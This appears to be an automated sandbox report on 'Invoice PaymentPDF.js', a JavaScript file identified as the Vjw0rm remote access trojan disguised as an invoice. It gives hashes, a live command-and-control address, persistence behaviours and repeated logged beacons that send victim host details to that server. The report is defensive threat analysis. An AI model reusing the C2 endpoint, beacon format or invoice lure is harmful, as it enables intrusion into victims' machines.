Overview

overview

10

Static

static

1

Invoice PaymentPDF.js

windows7-x64

10

Invoice PaymentPDF.js

windows10-2004-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    21/10/2023, 10:37 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Invoice PaymentPDF.js

  • Size

    5KB

  • MD5

    cb4d973520751a756027af396ef263fb

  • SHA1

    c6d0ac4edf12a65eedbbe387d8add54a7c0798ae

  • SHA256

    bdb89a48813d653020c80002b9993bf9e499200860f7158b4d252daa12cbb1db

  • SHA512

    2ac46c69347e7c093c6fd7044cbf543193afaac790626410db98d0ec1020ff39e4b0eab0d3070380c0e4d5409547ef5530b035970e29cbbbef97b098f58fb9e7

  • SSDEEP

    96:SABNo5Dyk2c24ZRMHXE6/BIL+Ys+fJ/nDdQqR7bJyKUxvUu/ingHXRZfzYMe/jFT:zSz2c24ZRMlBIaYs+fJ7fRfWingHXRZe

Score
10/10
vjw0rmpersistencetrojanworm

Malware Config

Extracted

Family

vjw0rm

C2

http://172.245.244.118:7070

Signatures

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

    trojanwormvjw0rm
  • Blocklisted process makes network request 1 IoCs
  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Invoice PaymentPDF.js"
    1⤵
    • Blocklisted process makes network request
    • Drops startup file
    • Adds Run key to start application
    PID:2728

Network

  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:39:19 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:39:33 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:39:51 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:40:07 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:40:23 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:40:39 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:40:55 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:41:11 GMT
  • flag-us
    POST
    http://172.245.244.118:7070/Vre
    wscript.exe
    Remote address:
    172.245.244.118:7070
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    Accept-Language: en-us
    User-Agent: jw_08BE1090\YETUIZPU\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: 172.245.244.118:7070
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Transfer-Encoding: chunked
    Server: Microsoft-HTTPAPI/2.0
    Date: Sat, 21 Oct 2023 10:41:27 GMT
  • 172.245.244.118:7070
    http://172.245.244.118:7070/Vre
    http
    wscript.exe
    3.5kB
     1.9kB
     20
    19

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200

    HTTP Request

    POST http://172.245.244.118:7070/Vre

    HTTP Response

    200
No results found

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.